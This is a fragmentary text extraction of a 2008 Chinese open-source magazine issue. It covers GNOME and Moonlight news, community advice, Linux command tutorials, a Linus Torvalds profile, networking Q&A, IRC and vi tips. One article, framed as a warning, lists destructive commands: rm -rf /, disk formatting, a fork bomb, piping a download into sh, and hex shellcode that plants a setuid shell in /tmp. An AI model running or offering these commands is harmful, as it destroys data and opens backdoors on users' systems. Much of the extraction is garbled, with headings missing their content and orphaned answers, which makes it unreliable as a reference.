番茄与黑屏事件带来契机 的速度增长。上海中标软件有限公司面对这种状
开
oss.linuxpk.com
源 2008 年第 12 期 33
开源社区
GNOME 发布 2.25.2
划,自 GNOME 2.24 之后的稳定版本 2.26 预
计 明 年 3 月 推 出 。 GNOME 2.25.2 为 GNOME
2.26 的第二个开发版,其主要改进包括:
● 文档 查看 器 Evince 添 加了 对 PDF 可选 内 容
(层)的支持;
开
oss.linuxpk.com 2008 年第 12 期 34
源
开源社区
微软的 RIA 技术 Silverlight 即将安家 Linux 平台。Novell 公司日前推出 Moonlight 项目的
第一个 Beta 版,Moonlight 属于 Linux 版.NET 项目 Mono 的一部分。该 Beta 版的功能已经完备,
将是 2009 年 1 月发布的 Moonlight1.0 的前身。Moonlight1.0 旨在帮助 Linux 用户实现微软的
Silverlight 功能,尽管 Silverlight 号称 AdobeFlash 的竞争对手(曾被称为 Flash 杀手),
Novell 官方并不认为 Moonlight 是 Flash 的竞争者。
Firefox 做 为 一 款 开 源产品,有着令其他浏览器
无法望其相背的数量庞大的 扩展,而在软件向服务转变
的大潮中,在线应用类产品 正随着 Web 的不断扩充而逐
渐取代传统的桌面。
正如操作系统时代时的跨平台开发一样,愈演愈烈的浏览器大战也正在上演当初的一幕,从技术进
步的角度来看,Web 的开放性以及更好的语言无关性为跨浏览器开发奠定了坚实的基础。
开
oss.linuxpk.com 2008 年第 12 期 35
源
开源社区
开
oss.linuxpk.com 2008 年第 12 期 36
源
开源社区
gOS Cloud:浏览器式的操作系统
开
oss.linuxpk.com 2008 年第 12 期 37
源
开源社区
Windows 启动键和关机键。这样一来,NetBook 用户开机时可以首选使用 Cloud 系统中的简单应用,
而如果需要运行更复杂的程序则可以一键启动 Windows。
今年 9 月 20 日,我去北京邮电大学参加《世界软件自由日》活动,我在现场拿到一份红旗 2000 的
RedOffice 的 产 品 盘 ( 赠 送 版 ) , 在 产 品 袋 上 印 有 产 品 序 列 号 : ROG451533 - BVAPNORXD -
开
oss.linuxpk.com 2008 年第 12 期 38
源
开源社区
YPMIHELPD。这说明,该产品安装时,没有这个序列号是不行的。显然,这不是开源软件产品的常规做
法。客观地讲,这款产品运行起来(在我的计算机上),6 大模块的基本功能与 OpenOffice.org 大致
相同,这是无可否认的事实(注意:我天天使用的就是 OpenOffice.org 2.4.1)。
开
oss.linuxpk.com 2008 年第 12 期 39
源
开源社区
英特尔中国开源技术中心系列专访之一
——Moblin 中国团队
陈杰
提到英特尔,一直以内,人们的惯性思维都是一家硬件公司,他们关注的是生成芯片、销售芯片,
而软件来自于不同领域,这和英特尔是毫不相干的事情。事实上,在软件领域,尤其是开源软件领域,
英特尔做出了很多的贡献,很明显的一组数据就是在英特尔中国,专门从事开源软件研发的就有 150 个
工程师左右,这些工程师做的每一件事情都与开源软件有关,并且都回馈与开源社区。《开源》杂志将
做一系列采访,一一介绍来自英特尔开源技术中心的不同团队,介绍他们所涉及的开源项目及从事的工
作。
开
oss.linuxpk.com 2008 年第 12 期 40
源
开源社区
《开源》:首先介绍一下你们内核团队的历史,目前负责哪些方面的研究?
《开源》:请简单介绍一下项目的具体情况,以及目前的进展情况。
《开源》:从团队成立以内,取得了哪些突破性的成果,并简单介绍一下项目的远景规划。
Moblin Team:取得的一些进展主要包括以下几点:
开
oss.linuxpk.com 2008 年第 12 期 41
源
开源社区
功能的实现,多媒体框架中的基于硬件加速的软件模块的实现。
Moblin 的远景规划:
速。
更快,更容易使用。
一、个人修养与态度
很难想象一个自以为是,视新手问题如粪土的人能够为挖掘更多潜在的 Linux 用户作出贡献。笔者
看到过许多使用上 Linux 或者其它“稀奇”的操作系统后喜欢在 Windows 用户面前显摆的人,这样做
会直接使得普通用户反感 Linux 以及开源社区。抱着一个平和的心态去学习使用 Linux 以及各类技术,
才能在技术道路的修炼上有所建树,炫耀提供不了攀上技术顶峰的动力。
由于国内教育体制的问题,大部分人失去了主动学习、提问、解决问题的潜意识与能力。遇到任何
芝麻大小的问题,不经大脑思考直接提问的情况常有发生,这时,许多“前辈”都会对这样的问题嗤之
以鼻,不牺牲时间予以任何回答。个人的观点是,遇到这样的新手,若有时间应该尽可能地帮助他们学
会自己解决问题,也就是接下来要说的如何帮助新人解决问题。
开
oss.linuxpk.com 2008 年第 12 期 42
源
开源社区
二、如何帮助新手解决问题
“授之予鱼不如授之予渔”,我们的先人很早就知道了这样育人的道理,相比现在许多老师为学生
提供“答案在书上的第几页第几段第几句”这样的“便利”相比,不知道我们国人的教育是先进了还是
落后了。在帮助新人解决问题的时候,笔者见过太多差到极致的方法,其中的大部分都是主观性极强的
回答:
问 1:什么发行版本最好?
答 1:ubuntu!最适合新手!
答 2:Fedora,我的最爱!
答 3:gentoo,能让你真正的学到东西!
答 1:白日做梦!
相信读者也能辨认出这样的回答的问题所在了,对了,那就是说了等于没说。回答问题与发表个人
观点是两码事,本着客观的视角以及严谨的学术态度去回答每一个问题不但可以得到他人的尊重,也能
为自己带来思想交流上的火花以及愉悦的心情。
《提问的智慧》是一篇极好的文档来供新人阅读,在提供新手的“愚蠢”的问题的解决方案之前,
建议他们学会提问前事先自己看下文档,看下 EricS.Raymond 的这篇经典著作以及如何使用 Google
是必要的。
三、个人对社区的贡献
光说不做还不够,作为拥有世界第一人口的中国,在开源社区的贡献太少了,浮躁的学习心态以及
“自己还没填铇肚子”的想法是罪魁祸首。笔者认为,能够潜心钻研技术,避免任何无聊的口水战是每
一位有修养的 Hacker 必备的态度。对社区的实质性贡献主要能够分为文档的翻译与纂写、自由软件的
开发、参与现有操作系统的开发。其中,文档方面的工作就目前而言最为重要,国内缺少稳定的高质量
的文档翻译与纂写组织。没有优秀的文档,新手在入门时就会感觉黑灯瞎火,找不到方向。
四、如何宣传?
开
oss.linuxpk.com 2008 年第 12 期 43
源
开源社区
最后一点也是最重要的一点,就是如果我们要向他人宣传开源的操作系统以及思想,该怎么做才有
效?其实,国内并不缺少技术方面优秀的入门文档,问题的关键是在于这些入门文档无法被需要看的新
手看到。这一直以来都是一个问题,在 20 世纪末 Linux 就已经在国内的技术圈子内流传了开来,过了
十年,Linux 的安装问题、系统并存问题、软件应用问题依旧是新手讨论的热点。这还是要回到之前所
说的三点:面对问题的态度、解决问题的方式与个人贡献。
开
oss.linuxpk.com 2008 年第 12 期 44
源
知识学堂
Linux 必学的安装登录命令
曹元其
不同 Linux 发行版的命令数量不一样,但 Linux 发行版本最少的命令也有 200 多个。这里笔者把
比较重要和使用频率最多的命令,按照它们在系统中的作用分成下面六个部分一一介绍。
◆ 安装和登录命令:login、shutdown、halt、reboot、install、mount、umount、chsh
、exit、last;
◆ 文件处理命令:file、mkdir、grep、dd、find、mv、ls、diff、cat、ln;
◆ 系统管理相关命令: df、top、free、quota、at、lp、adduser、groupadd、kill、
crontab;
◆ 网络操作命令:ifconfig、ip、ping、netstat、telnet、ftp、route、rlogin、rcp、
finger、mail、 nslookup;
◆ 系统安全相关命令:passwd、su、umask、chgrp、chmod、chown、chattr、sudo ps、
who;
◆ 其它命令:tar、unzip、gunzip、unarj、mtools、man、unendcode、uudecode。
login
1.作用
login 的作用是登录系统,它的使用权限是所有用户。
2.格式
3.主要参数
-h:用来向远程登录的之间传输用户名。
一般界面是这样的:
Manddrake Linux release 9.1(Bamboo) for i586
开
oss.linuxpk.com 源 2008 年第 12 期 45
知识学堂
renrel 2.4.21-0.13mdk on i686 / tty1
localhost login:root
password:
登录后会看到下面这个界面(以超级用户为例):
[root@localhost root]#
last login:Tue ,Nov 18 10:00:55 on vc/1
上面显示的是登录星期、月、日、时间和使用的虚拟控制台。
4.应用技巧
Linux 是一个真正的多用户操作系统,可以同时接受多个用户登录,还允许一个用户进行多
次登录。这是因为 Linux 和许多版本的 Unix 一样,提供了虚拟控制台的访问方式,允许用
户在同一时间从控制台(系统的控制台是与系统直接相连的监视器和键盘)进行多次登录。
每个虚拟控制台可以看作是一个独立的工作站,工作台之间可以切换。虚拟控制台的切换可
以通过按下 Alt 键和一个功能键来实现,通常使用 F1-F6 。
例如,用户登录后,按一下“Alt+F2”键,用户就可以看到上面出现的“login:”提示符,
说明用户看到了第二个虚拟控制台。然后只需按“Alt+F1”键,就可以回到第一个虚拟控制
台。 一个新安装的 Linux 系统允许用户使用“Alt+F1”到“Alt+F6”键来访问前六个虚拟
控制台。虚拟控制台最有用的是,当一个程序出错造成系统死锁时,可以切换到其它虚拟控
制台工作,关闭这个程序。
shutdown
1.作用
shutdown 命令的作用是关闭计算机,它的使用权限是超级用户。
2.格式
shutdown [-h][-i][-k][-m][-t]
3.重要参数
-k:并不真正关机,只是送警告信号给每位登录者。
开
oss.linuxpk.com 源 2008 年第 12 期 46
知识学堂
-h:关机后关闭电源。
-F:在重启计算机时强迫 fsck。
-time:设定关机前的时间。
-m: 将系统改为单用户模式。
-i:关机时显示系统信息。
4.命令说明
halt
1.作用
halt 命令的作用是关闭系统,它的使用权限是超级用户。
2.格式
3.主要参数说明
-w:并不是真正的重启或关机,只是写 wtmp(/var/log/wtmp)纪录。
-f:没有调用 shutdown,而强制关机或重启。
-i:关机(或重启)前,关掉所有的网络接口。
-p: 当关机的时候顺便做关闭电源的动作。
-d:关闭系统,但不留下纪录。
开
oss.linuxpk.com 源 2008 年第 12 期 47
知识学堂
4.命令说明
1.作用
reboot 命令的作用是重新启动计算机,它的使用权限是系统管理者。
2.格式
3.主要参数
-n: 在重开机前不做将记忆体资料写回硬盘的动作。
-i: 在重开机之前先把所有与网络相关的装置停止。
install
1.作用
install 命令的作用是安装或升级软件或备份数据,它的使用权限是所有用户。
2.格式
在前两种格式中,会将<来源>复制至<目的地>或将多个<来源>文件复制至已存在的<目录>,
同时设定权限模式及所有者/所属组。在第三种格式中,会创建所有指定的目录及它们的主目
录。长选项必须用的参数在使用短选项时也是必须的。
3.主要参数
--backup[=CONTROL]:为每个已存在的目的地文件进行备份。
-b:类似 --backup,但不接受任何参数。
开
oss.linuxpk.com 源 2008 年第 12 期 48
知识学堂
-c:(此选项不作处理)。
-d,--directory:所有参数都作为目录处理,而且会创建指定目录的所有主目录。
-D:创建<目的地>前的所有主目录,然后将<来源>复制至 <目的地>;在第一种使用格式中
有用。
-g,--group=组:自行设定所属组,而不是进程目前的所属组。
-o,--owner=所有者:自行设定所有者 (只适用于超级用户)。
-p,--preserve-timestamps:以<来源>文件的访问/修改时间作为相应的目的地文
件的时间属性。
-S,--suffix=后缀:自行指定备份文件的<后缀>。
-v,--verbose:处理每个文件/目录时印出名称。
--help:显示此帮助信息并离开。
--version:显示版本信息并离开。
mount
1.作用
2.格式
3.主要参数
-h:显示辅助信息。
-v:显示信息,通常和-f 用来除错。
-a:将/etc/fstab 中定义的所有文件系统挂上。
开
oss.linuxpk.com 源 2008 年第 12 期 49
知识学堂
常会和-v 一起使用。
-t vfstype:显示被加载文件系统的类型。
4.应用技巧
(1)Linux 可以识别的文件系统
◆ OS/2 用的文件系统:hpfs;
◆ Linux 用的文件系统:ext2、ext3;
◆ CD-ROM 光盘用的文件系统:iso9660。
(2)确定设备的名称
(3)查找挂接点
在决定将设备挂接之前,先要查看一下计算机是不是有个/mnt 的空目录,该目录就是专门用
开
oss.linuxpk.com 源 2008 年第 12 期 50
知识学堂
来 当 作 挂 载 点 (Mount Point) 的 目 录 。 建 议 在 /mnt 里 建 几 个 /mnt/cdrom
、/mnt/floppy、/mnt/mo 等目录,当作目录的专用挂载点。举例而言,如要挂载下列 5
个设备,其执行指令可能如下 (假设都是 Linux 的 ext2 系统,如果是 Windows XX 请将
ext2 改成 vfat):
umount
1.作用
2.格式
3.使用说明
chsh
1.作用
2.格式
3.主要参数
开
oss.linuxpk.com 源 2008 年第 12 期 51
知识学堂
-l:显示系统所有 Shell 类型。
4.应用技巧
exit
1.作用
exit 命令的作用是退出系统,它的使用权限是所有用户。
2.格式
exit
3.参数
exit 命令没有参数,运行后退出系统进入登录界面。
last
1.作用
2.格式
3.主要参数
-n:指定输出记录的条数。
-t tty:只显示指定的虚拟控制台上登录情况。
开
oss.linuxpk.com 源 2008 年第 12 期 52
知识学堂
-h 节点:只显示指定的节点上的登录情况。
-i IP:只显示指定的 IP 上登录的情况。
-1:用 IP 来显示远端地址。
-y:显示记录的年、月、日。
-ID:知道查询的用户名。
-x:显示系统关闭、用户登录和退出的历史。
动手练习
上面介绍了 Linux 安装和登录命令,下面介绍几个实例,动手练习一下刚才讲过的命令。
1.一次运行多个命令
在一个命令行中可以执行多个命令,用分号将各个命令隔开即可,例如:
#last -x;halt
上面代码表示在显示系统关闭、用户登录和退出的历史后关闭计算机。
现在它就可以正常显示中文了。
开
oss.linuxpk.com 源 2008 年第 12 期 53
知识学堂
3.使用 mount 加挂闪盘上的文件系统
就能够加挂闪盘上的文件系统。
一、外公的计算机奠定未来之路
Linus 于 1970 年 12 月 28 日出生于芬兰的首都赫尔辛基。Linus 说:“我孩提时代最幸福的记忆
就是玩我外公的一台老式电子计算机。”他的外公 Leo Waldemar Tornqvist 是赫尔辛基大学的一位
开
oss.linuxpk.com 源 2008 年第 12 期 54
知识学堂
统计学教授,可以说正是他外公的电子计算机奠定了他将来的计算机之路。
当时在个人计算机上没什么可做的事情,尤其是开发商业程序的条件并不具备,能做的惟一的事情
就是在它上面用 BASIC 语言编程序。
当赫尔辛基的孩子们都在和他们的父母在树林子里玩曲棍球和滑雪时,Linus 却在琢磨在计算机上
怎样工作。当时已经有一些程序能把人们可读的数码转换成计算机看得懂的 0 和 1,但他并不晓得有这样
的程序,于是他就开始用数字形式编写程序,然后再用手工进行转换。这就是用机器语言编程序。当对
一切细节都能够加以控制时,他就开始思索,如何能在更小的空间里让事情做得更快一些。就这样,12
岁、13 岁、14 岁过去了。其他孩子在外面踢足球的时候,Linus 却觉得外公的计算机越来越有意思。
二、探究计算机工作原理
当 Linus 对 VIC-20 玩得已经很精通后,便开始攒钱想买一台下一代的计算机。他利用积攒的一些
圣诞节和生日的压岁钱、打工赚来的钱、奖学金及从爸爸那里借来的钱,一共 2000 美元买了他的第二台
计算机——Sinclair QL。
“探究计算机工作原理的过程,是吸引我走进编程世界的最初原因。在这其中获得的最大的乐趣在
于我认识到了计算机科学与数学的类似,你必须从该体系自身的规则出发,推演出整个世界。在物理科
学中,你被客观规律所束缚。但是在数学和编程中,只要能合乎逻辑地推演就可以成立,思考数学问题
不会受到客观世界的逻辑限制。”Linus 这样说道。正是深入地研究计算机,才使他与计算机世界如此
有缘。
开
oss.linuxpk.com 源 2008 年第 12 期 55
知识学堂
个操作系统需要等一个多月的时间才能到达芬兰,它的价格是 169 美元,还要加上税和其它费用。
三、Linux 操作系统闪亮登场
创造操作系统,就是去创造一个所有应用程序赖以运行的基础环境。从根本上来说,就是在制定规
则:什么可以接受,什么可以做,什么不可以做。事实上,所有的程序都是在制定规则,只不过操作系
统是在制定最根本的规则。
开
oss.linuxpk.com 源 2008 年第 12 期 56
知识学堂
有工作,但是它可以做人们需要的大部分的重要工作,并且它拥有一项人们特别喜欢的功能:有了
page-to-disk 就可以运行超过内存的巨大程序。当时,Linus 并没有向使用他的系统的人收费,因为
他觉得与收到的钱相比,更喜欢收到明信片。“我不仅仅是在与别人分享我的成果,别人也将会觉得我
的工作是有用的”。这就是 Linus 开放源代码的初衷,他并不想别人买下 Linux。
1.人们可以免费使用该操作系统,但不得将它作为商品。
2.对其所作的改动和改进,必须以源代码的形式将其公开(而不是二进制这种不公开的形式)。
3.如果不同意以上规定,则无权对它进行复制或从事任何行为。
四、Linux 推动开放软件运动
1995 年出现了各种各样的 Linux 的版本,并且商业性的 Linux 软件公司吸引了更多的追随者。此
时,一个波士顿的投机分子将 Linux 登记为注册商标了。不仅如此,他还向《Linux 杂志》和其它一些
Linux 商业软件公司发出了电子邮件,要求这些机构将他们收入的 5%作为提成支付给他。 当 Linus 听
到这个消息时,感到一阵刺痛。 Linux 社区的所有人都想要将注册商标夺回来。最终, Linus 成了
Linux 注册商标的所有人。
开
oss.linuxpk.com 源 2008 年第 12 期 57
知识学堂
开放源代码在 1998 年吸引了全世界的目光,最大争议之一就在于其名字本身。在此之前,已有了诸
如 GPL 所 许 可 的 “ 自 由 软 件 ” 。 这 一 用 法 源 于 “ 自 由 软 件 基 金 会 ” ( Free Software
Foundation),该基金会由 Richard Stallman 于 1985 年为促进自由软件工程而创立,比如 GUN
和由他发起的自由 Uinx(Free Unix)。最终 Linus 和他的小组达成了一致意见:“比起‘free’来,
我们更愿意使用‘open’(开放)一词。”从此,自由软件运动变成了开放软件运动。
开
oss.linuxpk.com 源 2008 年第 12 期 58
经验技巧
Linux 一句话精彩问答
——网络相关篇(二)
陈绪
《Linux 一句话精彩问答》是 Linux 初学者很好的入门文档,想必很多朋友当时都是边看该文档,边敲打
键盘,玩着 Linux 过来的。
该文档由本刊顾问陈绪主编,迄今已经收录近千个精彩问答。从本期开始将在桌面应用栏目进行连载,
希望能帮助到更多刚接触到 Linux 的朋友们。
2021 用什么工具做入侵检测
Snort
开
oss.linuxpk.com 2008 年第 12 期 59
源
经验技巧
然后按照里面的说明文件一步步安装,之后重启浏览器妈即可 。
当然你的系统要支持简体中文才可以
2031 网卡激活了,却上不了网,怎么办
traceroute,看看到底是在那一块被阻住的。
1.ping 自己
开
oss.linuxpk.com 2008 年第 12 期 60
源
经验技巧
2.ping 网关
3.ping DNS
4.traceroute DNS
如果一切正常
nslookup www.sina.com.cn
ping sina 的 address
traceroute sina 的 address
基本上就可以知道结果了
2034 如何得到网卡的 IP 地址
ifconfig eth0 |awk '/inet addr/ {split($2,x,":");print x[2]}'
2036 一块网卡如何绑定两个 ip
#cd /etc/sysconfig/network-scripts
#cp ifcfg-eth0 ifcfg-eth0:1
#vi ifcfg-eth0:1
修改 IP 和设备名
修改/etc/network/interfaces
auto eth0
开
oss.linuxpk.com 2008 年第 12 期 61
源
经验技巧
iface eth0 inet static
address 172.16.3.123
netmask 255.255.255.0
network 172.16.3.0
broadcast 172.16.3.255
gateway 172.16.3.1
auto eth0:1
iface eth0:1 inet static
address 10.16.3.123
netmask 255.255.0.0
network 10.16.0.0
broadcast 10.16.255.255
修改/etc/network/ifstate
lo=lo
eth0=eth0
eth0:1=eth0:1
一个网卡绑定多 ip 另一法
在/etc/sysconfig/network-scripts/下创建一个文件:ifcfg-ethX-rangeX ("X"为网
卡号)
文件内容:
IPADDR_START=<start ip>
IPADDR_END=<end ip>
CLONENUM=0
可以有 256 个 ip
2037 一个 ip 如何绑定两块网卡
假设 192.168.0.88 是 ip,192.168.0.1 是网关:
开
oss.linuxpk.com 2008 年第 12 期 62
源
经验技巧
/sbin/route add default gw 192.168.0.1
2038 192.168.1.0/24
它与 192.168.1.0/255.255.255.0 是等价的,只是表示方式不同....
for HOST in `arp | sed '/Address/d' | awk '{ print $1}'` ; do arp -d $HOST; done
简明 IRC 使用入门
ghosTM55
Linux 下可以使用的即时通讯协议不少,例如 MSN,GTALK,AIM,ICQ 等,都可以通过优秀的 IM 集
成软件 PIDGIN 或是 KOPETE 等同时登录,这些不是本文要讨论的对象,本文要介绍的,是历史悠久的
IRC。
之所以要强烈推荐 IRC,是因为在这里,你可以认识更多珍惜时间的,热衷于探讨技术的人。好处
就不想一一列举了,简单说一下如何使用。
废话不多说了,简单讲下如何使用 IRC。
开
oss.linuxpk.com 2008 年第 12 期 63
源
经验技巧
首先,下载 XCHAT 这个软件,各大发行版本的源里都有 XCHAT,使用各自的下载工具进行下载。
/join #channel
来加入频道,加入后,就可以开始正式聊天了。
/nick nickname
可以手动修改你的昵称。
就这么简单,这个时候你已经可以开始使用 IRC,和别人自由畅快的聊你感兴趣的问题了,加入频
道后,一句 hi all 是友好的打招呼的方式。
通过注册你的昵称:
开
oss.linuxpk.com 2008 年第 12 期 64
源
经验技巧
在每次登录到 IRC 的服务器后,可以通过:
/ns id passwd
来增加你当前用户的权限,使用私聊等功能。
好了,要介绍就这么多,是不是很简单呢?下面介绍一些资源:
频道(freenode):
频道(OFTC):
软件:
XCHAT(GNOME)
KONVERSATION(KDE)
CHATZILLA(FIREFOX 插件)
7 个极具杀伤性的 Linux 命令
如果使用 Linux,可千万要记得不要让傻孩子们敲入以下命令,尽管这些命令看上去相当复杂,但还
是会对你的系统造成严重影响。
有一些会影响你的程序和系统运行,有一些会直接把你的盘抹掉,这些命令几乎没有什么可以挽回的
余地。
1. Code:
rm -rf /
这个很简单,根目录会被擦光。
2. Code:
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
开
oss.linuxpk.com 2008 年第 12 期 65
源
经验技巧
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
3. Code:
mkfs.ext3 /dev/sda
抹盘行为无疑是危险的。
4. Code:
:(){:|:&};:
这不是 90 后的表情,也不是托蒂射点球前的表情,它可以让你的系统迅速因为处理大量数据而死机。
5. Code:
any_command > /dev/sda
6. Code:
wget http://some_untrusted_source -O- | sh
7. Code:
mv /home/yourhomedirectory/* /dev/null
这条命令无疑会让系统抓狂,你的主目录会再也看不到。
开
oss.linuxpk.com 2008 年第 12 期 66
源
经验技巧
定制 Linux 系统环境变量
余海发
Linux 是一个多用户的操作系统。每个用户登录系统后,都会有一个专用的运行环境。通常每个用
户默认的环境都是相同的,这个默认环境实际上就是一组环境变量的定义。用户可以对自己的运行环境
进行定制,其方法就是修改相应的系统环境变量。
一、常见的环境变量
对于 PATH 和 HOME 等环境变量大家都不陌生。除此之外,还有下面一些常见环境变量。
◆ HISTSIZE 是指保存历史命令记录的条数。
◆ LOGNAME 是指当前用户的登录名。
◆ HOSTNAME 是指主机的名称,许多应用程序如果要用到主机名的话,通常是从这个环境变量中来
取得的。
◆ SHELL 是指当前用户用的是哪种 Shell。
◆ LANG/LANGUGE 是和语言相关的环境变量,使用多种语言的用户可以修改此环境变量。
◆ MAIL 是指当前用户的邮件存放目录。
◆ PS1 是基本提示符,对于 root 用户是#,对于普通用户是$。PS2 是附属提示符,默认是“>”。
可以通过修改此环境变量来修改当前的命令符,比如下列命令会将提示符修改成字符串“ Hello,My
NewPrompt :) ”。
# PS1=" Hello,My NewPrompt :) "
Hello,My NewPrompt :)
二、定制环境变量
环境变量是和 Shell 紧密相关的,用户登录系统后就启动了一个 Shell。对于 Linux 来说一般是
bash,但也可以重新设定或切换到其它的 Shell。环境变量是通过 Shell 命令来设置的,设置好的环
境变量又可以被所有当前用户所运行的程序所使用。对于 bash 这个 Shell 程序来说,可以通过变量名
来访问相应的环境变量,通过 export 来设置环境变量。下面通过几个实例来说明。
开
oss.linuxpk.com 2008 年第 12 期 67
源
经验技巧
1. 显示环境变量 HOME
$ echo $HOME
/home/terry
2. 设置一个新的环境变量 WELCOME
$ export WELCOME="Hello!"
$ echo $WELCOME
Hello!
3. 使用 env 命令显示所有的环境变量
$ env
HOSTNAME=terry.mykms.org
PVM_RSH=/usr/bin/rsh
SHELL=/bin/bash
TERM=xterm
HISTSIZE=1000
...
5. 使用 unset 命令来清除环境变量
set 可以设置某个环境变量的值。清除环境变量的值用 unset 命令。如果未指定值,则该变量值将
被设为 NULL。示例如下:
开
oss.linuxpk.com 2008 年第 12 期 68
源
经验技巧
6. 使用 readonly 命令设置只读变量
如果使用了 readonly 命令的话,变量就不可以被修改或清除了。示例如下:
7. 用 C 程序来访问和设置环境变量
对于 C 程序的用户来说,可以使用下列三个函数来设置或访问一个环境变量。
◆ getenv()访问一个环境变量。输入参数是需要访问的变量名字,返回值是一个字符串。如果所访
问的环境变量不存在,则会返回 NULL。
◆ setenv()在程序里面设置某个环境变量的函数。
◆ unsetenv()清除某个特定的环境变量的函数。
另外,还有一个指针变量 environ,它指向的是包含所有的环境变量的一个列表。下面的程序可以
打印出当前运行环境里面的所有环境变量:
#include <stdio.h>
extern char**environ;
int main ()
{
char**var;
for (var = environ;*var != NULL;++var)
printf ("%s \n ",*var);
return 0;
}
开
oss.linuxpk.com 2008 年第 12 期 69
源
经验技巧
善用 Vi 编辑器
大余
vi 是类 Unix 操作系统中使用极为广泛的文本编辑器之一。无论是 Unix、Solaris 或 Linux 都默
认提供这个工具。可以说只要熟悉了 vi,在任何一种类 Unix 的操作系统平台上都可以自如地进行文本
编辑。关于 vi 的基本用法的资料有很多,本文的目的不是重复这些基本的用法,而是想给初步掌握 vi
基本用法的人提供一些实用技巧,使之能更快捷、高效地利用 vi 编辑文件。
vi 有命令模式和插入模式之分。vi 启动后就处于命令模式。在命令模式下,可以随意移动光标、进
行复制和粘贴文本等操作。利用“a”、“i”、“c”、“C”、“O”和“o”等命令可以从命令模式切换到
插入模式。在插入模式下,可以输入文本,按 Esc 键切换回命令模式。为了区别不同模式下的命令,本
文在介绍时会注明是何种模式下的操作。
一、加密和解密
加密和解密文件
在命令模式输入“:X”命令,接着输入密码、确认输入密码,最后输入“:wq”命令保存退出。文件
就已经被加密了。
经过上面方法加密后的文件变成密文文件。要阅读原来的明文,则在打开文件后,会提示用户输入
密码。如果密码输入正确,就能看到原来的明文。另外可以看到,在最后的状态行上有此文件已被加密
的提示。
取消加密
取消加密的方法很简单。在命令模式输入“:X”命令,首先会提示输入密码,这时直接敲回车键。接
下来在提示重复输入密码时也直接敲回车键,最后输入“:wq”命令保存退出。这样文件的加密就被取消
了。
开
oss.linuxpk.com 2008 年第 12 期 70
源
经验技巧
二、替换操作
经常用到的一些简单替换命令有:
◆ S 将当前行替换为一个或多个字符;
◆ r 单个字符替换。
文本格式转换
:1,$s/^M//g
在行首尾添加字符串
用下列命令在文本每行的行首添加字符串“NewString”,请注意空格的存在。
:g/^/s//NewString/g
:%s/^/NewString/g
用下列命令在每行的行尾添加字符串“NewString”:
:g/$/s//NewString/g
:%s/$/NewString/g
从文本的第 3 行至最后一行的行首全部插入字符串“NewString”:
:3,$s/^/NewString/
在整个文件中替换
在整个文件中替换特定字符串,所用的命令如下:
:%s/old_string/new_string/g
:3,7s/old_string/new_string/
开
oss.linuxpk.com 2008 年第 12 期 71
源
经验技巧
注意,其中“s”为表示替换动作,“%”表示所有行,“g”表示全文,“^”表示行首,“$”表示行
尾。
三、助力编程
语法加亮
在 vi 中编写程序,如果为了方便想开启语法加亮功能,只需在命令模式下输入“ :syntax on”即
可。同理可知,如果想关闭语法加亮功能,就在命令模式下输入“:syntax off”。
快速查看函数帮助
在用 vi 阅读和编写程序(主要是指 C 或 C++程序)时,如果需要了解某个函数的具体功能,可以将
光标移到该函数上,然后在命令模式下输入“K”,就可以调动“Linux Programmer's Manual”中对
此函数的 man 帮助。
标记定位
在阅读和编写大的程序文件时,利用标记(书签)功能定位是十分有帮助的。建议大家多多使用。
下面举个简单的例子进行说明。
首先打开一个源代码文件,将光标移到想做标记的位置。假如做一个名为“ debug1”的标记,那么
用户可在命令模式下输入做标记的命令“mdebug1”,然后敲入回车键,一个名为“debug1”的标记就
做好了。
接下来用户可以随意将光标移到其它的位置,当在命令模式下输入“ `debug1”后,就能快速回到
“debug1”的标记所在行的行首。
“ctags”命令
在阅读和编写 C 或 C++程序时,可用“ctags”命令对当前目录下的 C 源程序进行扫描。命令如下:
$ ctags *.c
开
oss.linuxpk.com 2008 年第 12 期 72
源
经验技巧
自动对齐
在命令模式下使用“:set ai”命令可以让程序中各行自动对齐。
显示匹配
在编程中{}、[]、()常常是成对出现的,而且常常有多层的嵌套,很容易遗漏和失误。所以下面的
这个技巧非常有用。在命令模式下使用“:set sm”命令会在用户敲)、]、}时显示出对应匹配的{、[、
(来。
缩写文本
在编程中常常要输入一些重复且很长的信息,比如较长的名词和公司信息等,这时可以用 vi 的缩写
功能。它可以将一个很长的词用一个很短的缩写来代替。比如一个较长的 URL,可以给它一个缩写,在
命 令 模 式 下 使 用 “ :ab myurl http://www.mykms.org/kms/myproject/index.php?
id=0023”,然后在插入模式下输入“myurl”后,“myurl”就会自动变成刚才定义的那个长的 URL。
另外,在插入模式下输入“:una myurl”,则是取消“myurl”这个缩写。
set 选项
使用“:set”可以设置 vi 的环境变量。vi 的环境变量有很多。使用“:set all”可以显示所有环
境变量。使用“:set 变量名及参数”可以设置对应的环境变量。
下面的命令可显示行号:
:set number
下面的命令可将文件设为只读:
:set readonly
下面的命令使 vi 在“:n”和“:!”命令之前都自动保存文件:
:set autowrite
下面的命令显示用户处在什么模式下:
:set showmode
同理,“:set noshowmode”就是关闭此显示。
开
oss.linuxpk.com 2008 年第 12 期 73
源
经验技巧
到对应的环境变量的详细作用。
四、使用宏
vi 的宏提供了更强大的功能,用户可以根据自己的需要来定制自己的宏,然后通过宏来完成事先定
义好的一整套操作。用“map”来定义一个宏,用“unmap”来删除。在熟悉了 vi 的基本命令后,将这些
命令组合起来就能完成复杂的工作。如果再将这些命令的组合定义成宏的话,就可以方便用户经常性地
调用了。这是一个非常强大的功能,建议大家多多使用。
五、总结
vi 是类 Unix 操作系统上常用的缺省编辑器。了解了 vi,用户就能利用它高效地编辑文件。但是学习 vi 的过程
很长,因为它的功能很多。不过它确实是一个值得花时间来学习的工具。所谓“工欲善其事,必先利其器”,希
望大家都能学好 vi,善用这一文本编辑的利器。
判断 Linux 系统是否被黑的方法
俗称“脚本小鬼”的家伙是属于那种很糟糕的黑客,因为基本上他们中的许多和大多数人都是如此
